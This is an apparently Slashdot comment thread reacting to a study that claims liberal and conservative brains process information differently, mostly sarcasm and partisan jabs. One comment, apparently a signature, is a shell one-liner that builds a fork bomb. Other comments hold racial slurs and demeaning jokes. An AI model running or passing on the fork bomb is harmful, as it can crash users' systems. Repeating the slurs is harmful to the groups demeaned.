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Brain Differences In Liberals and Conservatives
i_like_spam writes "Scientists from NYU and UCLA report in Nature Neuroscience that the brains of Democrats and Republicans process information differently. This new study finds that the differences are apparent even when the brain processes common information, not just political topics. From the study, liberals were more likely to be accurate and showed more brain activity in the region associated with analyzing conflicts. A researcher not affiliated with the study stated, liberals 'could be expected to more readily accept new social, scientific or religious ideas.' Moreover, 'the results could explain why President Bush demonstrated a single-minded commitment to the Iraq war and why some people perceived Sen. John F. Kerry... as a flip-flopper.'"
I'm a liberal and I've always had great difficulty convincing Republicans that I'm right and they are wrong. Thankfully this study tells me that it is because I am smart and they are stupid. Since I am white and male, I look forward to further studies proving women and other races are also inferior to me to explain why they are similarly disobedient. Soon, I hope we shall return to the happy days of the 19th Century where science explained why some people the rulers and others are the ruled. Perhaps we could have a rule where Republican votes count for 3/5ths of Democrat votes, like we did with Negros before the Republicans stirred things up. Or perhaps they could be barred from voting completely, like we used to do for women.
I also hope that when the country has universal health care it will be be possible to abort fetuses with these cognitive disabilities, just like we do for babies with other developmental defects.
No, just kidding. This looks like awful science, just like the 19th Century studies that confirmed the experimenter's prejudices that black people and women were inferior.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
1) Liberals are more likely to smoke pot
2) Pot smokers are more likely to sit around the house
3) People who sit around the house are more likely to play video games
4) People who play video games are more likely to have better hand-eye coordination
5) ???
6) Profit!
You assume one way is better than another. How un-liberal of you.
“Common sense is not so common.” — Voltaire
imho old persons become conservative just because of decline of cognitive functions due to old age.
No, according to TFA, liberals are faster and more reliable at differentiating between the letter M and the letter W in a timed experiment.
I think we may safely extrapolate, and say that we expect this to be true for all differentiation between objects,
I.e. liberals could tell the difference between:
As for going so far as to say conservatives are slow and stupid. Well, there are many chains to be yanked, but saying that would would be neither fair, nor scientific.
**TODO** Steal someone elses sig.
Deleted
"What about people like me that are a little of each and some of neither?"
Simple, you don't exist, now get out of here and stop invalidating the data!
On Wall Street they say "buy low, sell high" On the pad we say, "buy high, sell high" Isn't that somehow better?
The conservative brain is already dead, it's just too inflexible to notice this change.
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May contain traces of nut.
Made from the freshest electrons.
You sir, have the strangest definition of religion I have ever seen.
Political models != religion.
Economic models != religion.
However, OS choice == religion.
What's to understand?
Socialism is both self-evidently false and a uniform failure where ever and to what ever it's been applied. This troubles socialists not at all and this research suggests that the reason for preferring a political system that's never worked over one that has a chance of working is part of the structure of the brain.
You're not a liberal/socialist/communist/who-gives-a-shit because you're insightful or compassionate, you're a liberal because your brain is wired in such a way as to find some value in what conservatives see as abject failure.
Minutus cantorum, minutus balorum, minutus carborata descendum pantorum.
Then what happens if you are like me and a socialist? Do I cease to exist!?
We were hoping that after Stalin, Mao and Pol Pot, you people would have the decency to fade away.
-jcr
The only title of honor that a tyrant can grant is "Enemy of the State."
Yes, clearly if conservatives are failing in our cognitive experiments, it's a result of a cultural bias in the test. It's hardly surprising, after decades of prejudice against conservatives in the sciences, that the tests are designed to protect the current cultural hegemony. Rather than subjecting conservatives to standardized cognitive experimentation, therefore, we should be using holistic methods in the laboratory, and perhaps speaking to them in their own rich linguistic heritage, which I call "elephonics".
Or it supports my theory that people get more selfish as they get older.
You're kidding, right? Ever heard the piercing shriek of a four year-old yelling "mine!"?
-jcr
The only title of honor that a tyrant can grant is "Enemy of the State."
Actually, it's "maths" because it stands for "Mathematical Anti-Telharsic Harfatum Septomin".
So there.
(Serious answer: mathematics is plural, meaning "the mathematical sciences", so should be shortened to maths.)
sounds good to me!
It breaks my pluginses, my precious!
Come on, they used a "W". To any conservative a "W" is just a letter. To any Liberal, a "W" means "George W. Bush" to which they have an adrenaline rushed response to any mention or sight.
In fact, the study almost proves this fact. For both conservatives and liberals their reactions to the letter "M" were nearly identical. Liberals only excelled in targeting the letter "W".
We pretty much already know that Liberals are very good at targeting George "W".
Bah!
***
This is some of the worst science. Thankfully, it's anti-conservative therefore Slashdot will readily post it in it's slide away from a "science" log to a "politics" log.
For example. Think before you troll.
He can't, he's a conservative.
But it's kinda easy to tell that four year old that it's NOT his: Grab it and slap him.
Now try the same with a 60 year old who has a lawyer and a rifle, and knows how to use both.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
No, according to TFA, liberals are faster and more reliable at differentiating between the letter M and the letter W in a timed experiment.
Well, I'd have to say that since seeing "W-2004" with a little flag bumper stickers prior to the 2004 election, liberals [note: I'd describe myself as one] have an immediate, visceral, and very negative reaction to the letter 'W'.
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So in other words, Conservatives are more conservative in their thinking and Liberals think more liberally?
- Sober or stoned
- Straight or gay
- Just got off a 12 hour shift or a living on a trust fund
- Athletically talented or clumsy as hell
- Man or woman
That they call this 'science' makes me want to quit my job and start selling cars..."Who are you?" "No one of consequence." "I must know." "Get used to disappointment."
So if we know what the difference is between liberals and conservatives...
Does that mean we can finally fix the conservatives?
That's certainly true, which is why dating conservatives is so boring.
Recursive: Adj. See Recursive.
Tellysavalliskojak Johnson, of Bartholomew, Illinois. He was born to a crack whore in a squalid apartment on fourth street. (His sister, Imaginemyjoy, also had no opportunity.)
There. I've named two.
Out of millions.
Microsoft is to software what Budweiser is to beer.
A cop is neither a man nor a woman? What the hell are they? O_o